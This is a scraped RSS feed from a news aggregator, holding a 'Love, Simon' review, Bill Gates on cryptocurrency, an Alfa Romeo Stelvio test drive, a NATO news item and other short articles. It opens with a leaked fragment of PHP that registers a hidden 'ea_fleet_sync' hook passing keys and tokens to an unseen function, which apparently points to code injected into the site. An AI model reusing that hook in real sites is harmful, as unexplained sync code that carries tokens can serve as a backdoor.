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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); fairly – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Mar 2018 15:26:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png fairly – Brief News https://briefnews.eu 32 32 ‘Love, Simon’ Review: A Fairly Ordinary Teen Movie…and That’s Why It’s Wonderful https://briefnews.eu/love-simon-review-a-fairly-ordinary-teen-movieand-thats-why-its-wonderful/ https://briefnews.eu/love-simon-review-a-fairly-ordinary-teen-movieand-thats-why-its-wonderful/#respond Thu, 15 Mar 2018 15:26:13 +0000 http://briefnews.eu/love-simon-review-a-fairly-ordinary-teen-movieand-thats-why-its-wonderful/

It’s difficult not to describe Love, Simon in contradictory terms. To put it as simply as possible: it’s extraordinary for just how ordinary it is. If one were to point out its faults, they would be the same as any other mainstream teen coming-of-age movie. Maybe it’s a little glib, maybe it bucks realism for dramatic effect, maybe it doesn’t really take any risks — isn’t it more important that this movie is so profoundly normal when its star (by Hollywood’s metrics) is so rare?

Simon (played by a quite charming Nick Robinson) is, in most respects, a paragon of normalcy. He has a perfectly happy family that adores him (his parents are Josh Duhamel and Jennifer Garner, for chrissakes), he has a close group of friends who carpool to school and drink a baffling amount of iced coffee, and he does extracurriculars. Oh, and he’s gay. It’s this last part, of course, that sets Love, Simon apart from the typical marquee offerings, especially those coming out of its parent company, 20th Century Fox. What makes this a coup is that the film, directed by Greg Berlanti, doesn’t treat it as an oddity or aberration. It’s not being gay that’s worrying Simon; rather, it’s the process of coming out.

The film, based on Becky Albertalli’s novel Simon vs. The Homo Sapiens Agenda, sees Simon going into his senior year of high school. When someone posts to the anonymous school message board that they’re struggling with coming out of the closet, Simon sets up a dummy email account and quickly begins a correspondence. As they essentially become internet pen pals, Simon can’t help but wonder exactly who it is that he’s writing to, and if he’s crazy for starting to form a crush on his mysterious conversation partner. And all of this rests on his shoulders on top of wondering how to come out to his family, his friends, and his school. As is natural in romantic comedies, it’s not long before things go sideways.

Though Love, Simon is, for the most part, pretty cutesy, some of the storylines dip into some genuinely harrowing territory, mostly as Simon struggles with the fear of being outed against his will. It’s a wresting of control that doesn’t really have any equivalent in stories about straight teenagers. Nor is there any equivalent to Simon’s mulling over “how” gay to be (which, frankly, brought to mind Antoni Porowski’s speech in the new Netflix Queer Eye about dealing with expectations of being a certain way after coming out). And as such, Love, Simon feels all the more significant as a piece of mainstream entertainment.

It’s buoyed by its cast, all of whom are beautiful and appealing in that CW-show kind of way. Robinson is great, as are Katherine Langford, Alexandra Shipp, Jorge Lendeborg Jr., and Keiynan Lonsdale (who quite possibly shines the brightest despite having the least to do) as Simon’s friends, though they’re saddled with their own high school drama that plays out to varying effect. And as the bane of Simon’s existence, Logan Miller basically hits a home run. He’s pitch-perfect as a theatre kid, i.e. annoying and oblivious to the point that I almost had to watch the movie through my fingers each time he was on screen.

The film only hits low points when it comes to dialogue — which is clunky half of the time, likely a result of translating something from the page to the screen — and bringing the story to an end. It seems allergic to consequence, for lack of a better way of putting it. Crap may hit the fan, but not too much of it comes out the other side. I can’t imagine half of what happens in Love, Simon resolving so simply, though I’ll give props to any teenagers who are able to get over their emotional traumas (and forget school drama) so quickly.

Love, Simon is ultimately a bit shallow as an exploration of teen angst, specifically with regards to coming out, but it’s nice to know that perfectly average romcoms are now fertile territory for stories about gay characters, too. Hopefully, that means that other genres won’t be far behind. The film feels akin to Ava DuVernay’s A Wrinkle in Time in that respect, in that they’re perfectly fine movies that are remarkable for being fine with their particular leads. Granted, Love, Simon comes together a little better, but I’ve found myself thinking of both films in the days since seeing them in a somewhat emotional state. How nice it is to see that representation is presented as so normal.

It’s hard not to root for Simon. It’s hard not to hope that things will work out with his mystery crush, that there’ll be some romantic gesture to cap it all off. I don’t think it’s much of a spoiler to say that, though there are some twists and turns, Love, Simon delivers the feel-good goods. It’s a little dramatic, sure, but it’s just the kind of idealized high school experience that most (if not all) of us will wish we’d had. Hopefully, the actual teenagers going to see this film will feel the same way.

/Film Rating: 8 out of 10

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Microsoft and Bill & Melinda Gates Foundation progenitor Bill Gates is not a fan of cryptocurrencies. In a Reddit AMA yesterday, he posited that crypto subverts governments’ abilities to intercept terrorist funding, illegal drug transactions, and more.

Redditor Askur1337 asked Gates, “Whats your opinion on Crypto Currencies?” To this, Gates responded:

The main feature of cryptocurrencies is their anonymity. I don’t think this is a good thing. The government’s ability to find money laundering and tax evasion and terrorist funding is a good thing. Right now, cryptocurrencies are used for buying fentanyl and other drugs, so it is a rare technology that has caused deaths in a fairly direct way. I think the speculative wave around ICOs and cryptocurrencies is super risky for those who go long.

Redditor dikkepiemel followed up with a rebuttal that cryptocurrencies aren’t doing anything cash wasn’t already doing, saying, “The US dollar is also used to buy fentanyl and god knows what else.”

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]]> https://briefnews.eu/bill-gates-says-cryptocurrencies-have-caused-deaths-in-a-fairly-direct-way/feed/ 0 Transgender Kids doc doesn’t present facts fairly. CBC was right not to show it https://briefnews.eu/transgender-kids-doc-doesnt-present-facts-fairly-cbc-was-right-not-to-show-it/ https://briefnews.eu/transgender-kids-doc-doesnt-present-facts-fairly-cbc-was-right-not-to-show-it/#respond Mon, 18 Dec 2017 18:00:20 +0000 http://briefnews.eu/transgender-kids-doc-doesnt-present-facts-fairly-cbc-was-right-not-to-show-it/ Transgender Kids

It is unreasonable to expect viewers to know that the empirical data that guides the documentary is flawed. After all, they come to the documentary to learn about a reality with which they are not necessarily well acquainted.

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]]> https://briefnews.eu/transgender-kids-doc-doesnt-present-facts-fairly-cbc-was-right-not-to-show-it/feed/ 0 VOTD: ‘Fairly OddParents’ Creator Has Some Ideas for Pixar TV Shows https://briefnews.eu/votd-fairly-oddparents-creator-has-some-ideas-for-pixar-tv-shows/ https://briefnews.eu/votd-fairly-oddparents-creator-has-some-ideas-for-pixar-tv-shows/#respond Mon, 03 Jul 2017 13:55:00 +0000 http://briefnews.eu/votd-fairly-oddparents-creator-has-some-ideas-for-pixar-tv-shows/ Pixar TV Show Pitches

Though Pixar Animation puts out some of the most popular animated movies in the business, but for the most part, they haven’t tried to bring their movies to TV. There have been shorts like Toy Story That Time Forgot and Toy Story of Terror, as well as shorts like the Cars Toons and Toy Story Toons. Plus, there was a 2D animated series called Buzz Lightyear of Star Command. But Fairly OddParents creator Butch Hartman has some great ideas for Pixar TV shows that would spin-off from some of their movies.

Hear Butch Hartman’s Pixar TV show pitches below along with some awesome art illustrating them.

They’re quick pitches, but they run across the board through Pixar’s movies Toy Story, Monsters Inc., Inside Out, Cars, Ratatouille, Finding Nemo, Up, and The Incredibles.

I love the idea of Dreamland Productions, if only because I could see it being like a Saturday Night Live show that is used to help Riley cope with some of the problems she has in her everyday life. But the Wilderness Explorers also has the potential to allow for some great adventures with the scout group that Russell is part of. Easily my favorite of the bunch though is the Monsters Inc. inspired series that takes a cue from Seinfeld by having Mike Wazowski trying to be a stand-up comedian in an effort to get energy for Monstropolis from laughter.

Pixar has high standards for their programming, but these all sound like ideas that the animation house could turn into something special. Maybe they can team with Butch Hartman to make one of them happen.

Thanks to reader Jace Diehl for bringing this to our attention.

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]]> https://briefnews.eu/votd-fairly-oddparents-creator-has-some-ideas-for-pixar-tv-shows/feed/ 0 Form and function in fairly equal parts | 2018 Alfa Romeo Stelvio First Drive https://briefnews.eu/form-and-function-in-fairly-equal-parts-2018-alfa-romeo-stelvio-first-drive/ https://briefnews.eu/form-and-function-in-fairly-equal-parts-2018-alfa-romeo-stelvio-first-drive/#respond Mon, 26 Jun 2017 17:56:41 +0000 http://briefnews.eu/form-and-function-in-fairly-equal-parts-2018-alfa-romeo-stelvio-first-drive/ Alfa Romeo, a brand synonymous with sports cars that combine beautiful Italian design with historically dodgy reliability, now makes a crossover. The Stelvio is named after what is quite possibly the best driving road in the world, and the automaker would have you believe that it is the most purely focused driver’s ute in the world.

To that end, the Stelvio boasts a perfect 50/50 front-to-rear weight distribution, a fast 12.0:1 steering ratio, and an all-wheel-drive system that’s tuned to send 100 percent of the engine’s power to the rear wheels whenever possible. All of those bits add up to an SUV that’s genuinely fun to drive on winding roads. Think of the Stelvio as an Alfa Romeo Giulia with a suspension lift kit that puts you 2.5 inches higher off the tarmac. Yes, those stilts mean the crossed-over Alfa isn’t quite as sharp as the Giulia, but the Stelvio isn’t at all dimwitted. It’s a true Alfa Romeo, in spirit and in execution, right down to its standard carbon-fiber driveshaft.

The Stelvio shares its 111-inch wheelbase and its double-wishbone front and Alfa Link rear suspension systems with the Giulia. That’s not to say that the Stelvio drives as well or looks as good as the Giulia. The crossover is 2 inches longer and 8.9 inches taller than the sedan from which it was born.

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We got the feeling that we were sitting on top of the car’s chassis instead of within it, which is due entirely to the high seating position that American drivers are so fond of. And whereas the Giulia wears its sheetmetal like a slinky little black dress, the Stelvio’s Scudetto front fascia and Trilobo air intakes are stretched over a much larger frame and its sides are sculpted in a more masculine way.

Still, the Stelvio is an attractive beast, inside and out. It’s unmistakably Italian, which is to say well-tailored with an impeccable form that influences but begrudgingly follows function. Leather seating surfaces are standard. From the driver’s seat, the dashboard is dominated by two binnacles housing the tachometer and speedometer. In between is an LCD display that shows a bunch more relevant information. A second screen in an exaggerated widescreen format houses the bespoke infotainment system from Magneti Marelli. That LCD’s unique shape makes it look smaller than the Stelvio’s competitors, especially as its pinched height makes the backup camera image appear pretty small. Apple CarPlay and Android Auto will eventually come standard but aren’t equipped on initial launch models.

Perhaps our favorite part of the Stelvio’s interior is its steering wheel. It’s a flat-bottom piece, with two thin spokes on either side and a pair of aluminum-look bottom spokes. It took us a moment to locate the start/stop button – it’s on the wheel, like a race car. Nice touch. If properly equipped, a pair of column-mounted shift paddles complete the racy cabin.

There’s a good amount of space inside the Stelvio. With the driver’s seat in position for a six-footer, another six-footer can slide in behind with reasonable comfort, though there isn’t a ton of room for their feet. And don’t expect to put three adults in the back seat, as the center console leaves very little legroom for the middle passenger. There’s 18.5 cubic feet of space behind the back seat, which is on the small side in its segment. Fold the seats flat, though, and 56.5 cu-ft is available.

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We’re fond of Alfa’s all-aluminum 2.0-liter turbocharged four-cylinder engine. Its 280 horsepower and 306 pound-feet of torque are best-in-class, as are its claimed 0-60 time of 5.4 seconds, 144-mile-per-hour top speed, and EPA rating of 28 miles per gallon on the highway. If that’s not enough gumption for you, wait for the 505-horsepower Quadrifoglio in early 2018, which Alfa promises will be the fastest production SUV ever to run the Nurburgring.

Piloting the Stelvio through sweeping curves is a blast, thanks to its excellent steering feel and quick-shifting transmission. Up and downshifts of the eight-speed ZF automatic transmission fire off in less than 100 milliseconds, but never send shudders through the wheel to the driver or upset the chassis. The ride is comfortable yet taut with either the 19-inch or 20-inch wheels of our test cars. Dynamic mode tightens up the car’s reflexes, and is probably where we’d leave the car for most driving duties.

Bringing the 4,044-pound Stelvio down from speed are 13-inch rotors and four-piston Brembo calipers at the front and 12.5-inch, single-caliper discs at the rear. We found the brake pedal easy to modulate (though some of our fellow testers complained of a lack of feel), and ultimate stopping power felt strong. Alfa says the Stelvio can tow up to 3,000 pounds.

Take a look at the videos below to see a few of the trim levels Alfa Romeo offers for the Stelvio, and stick around to see some of the optional wheels. Note: the narration in the video says “over 300 horsepower,” which is incorrect. It should say over 300 pound-feet of torque.

Alfa Romeo does not expect any of its customers to take the Stelvio off-road, so there are no special terrain management systems in the Stelvio. Just as well. This is clearly a road-biased utility vehicle, and we’ll take craftsmanship over faux muddy pretensions. We do have to wonder why there’s a fake aluminum-look skid plate at the rear, then.

One Stelvio we drove occasionally exhibited some light but noticeable surging from the engine in third and fourth gears under moderate steady-state throttle. Our test cars were pre-production models, though, and other Stelvios didn’t surge at all. We’d expect such issues to be resolved by the time they end up in customer driveways, but hey – it’s Italian, so who knows?

It all comes at a reasonable price. A base 2018 Stelvio runs $ 42,990 and is equipped with all-wheel drive, leather, a backup camera, and keyless entry. Step up to the Sport model with its paddle shifters and sweet 19-inch Dark 5-Hole wheels for $ 44,790. A loaded Ti Sport model with desirable options like a dual-pane sunroof, navigation, Harmon Kardon audio, and all the available active and passive safety systems comes in at a competitive $ 53,440.

We tested Alfa’s crossover through a mixture of torrential downpour and calm skies, and felt the standard all-wheel-drive system feeding power front to rear and side to side in search of good traction. Throughout, the Stelvio never put a wheel wrong. Its handling inspires far more confidence than its high-roofed looks might make you expect. Whether or not it’s better than the Porsche Macan and Jaguar F-Pace, the current champs of driving dynamics in the Stelvio’s segment, we can’t say for certain. But the Stelvio certainly fits in those upper echelons of style and performance.

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]]> https://briefnews.eu/form-and-function-in-fairly-equal-parts-2018-alfa-romeo-stelvio-first-drive/feed/ 0 NATO must share burden fairly, adapt to confront extremism & terrorism, US and Germany agree https://briefnews.eu/nato-must-share-burden-fairly-adapt-to-confront-extremism-terrorism-us-and-germany-agree/ https://briefnews.eu/nato-must-share-burden-fairly-adapt-to-confront-extremism-terrorism-us-and-germany-agree/#respond Fri, 03 Feb 2017 03:28:08 +0000 http://briefnews.eu/nato-must-share-burden-fairly-adapt-to-confront-extremism-terrorism-us-and-germany-agree/ Washington has reassured Germany that NATO will remain the backbone of European defense if members contribute to the cost of running the bloc. The alliance however should adapt to confront the real growing threats of violent extremism and terrorism.

The White House voiced support for NATO’s stability during the meeting between Vice President Mike Pence and German Vice Chancellor and Minister of Foreign Affairs Sigmar Gabriel.

“The Vice President and Minister Gabriel… agreed on NATO’s centrality in ensuring the security and stability of North America and Europe,” the Office of the Vice President said in a statement following the meeting.

NATO must adapt to confront threats such as “violent extremism and terrorism,” both Pence and Gabriel agreed.

The politicians reaffirmed that “all NATO allies must meet their obligations and contribute their fair share to our collective security,” the statement added.

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During his campaign, Donald Trump repeatedly criticized NATO, calling the organization “obsolete.” Trump also suggested the US might not come to the aid of an ally which did not meet the spending target of defense expenditure at two percent of GDP.

But just four European members of NATO – UK, Poland, Estonia and Greece – are meeting their contribution mandate.

Pence message to Gabriel echoed Trump’s remarks during a phone call with Angela Merkel last weekend. During that conversation, both Trump and the Chancellor agreed on the “fundamental importance” of the NATO alliance and the need for all members to pay their fair share.

In a face to face meeting with the UK’s Prime Minister Theresa May last week, the 45th US president has also reaffirmed his commitment to the alliance if its members meet the contribution quotas.

May now plans to persuade other EU leaders to pay for their European security in full when she meets the block’s leaders in Malta for an informal summit on Friday.

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Trump‘s guarantee and the “recognition of NATO as the bulwark of our collective defence” reflect the importance of strong cooperation on defense and security, May‘s office said Thursday, adding that she will encourage other leaders to “deliver on their commitments” to NATO to spend two percent of their GDP on defense, “so that the burden is more fairly shared.”

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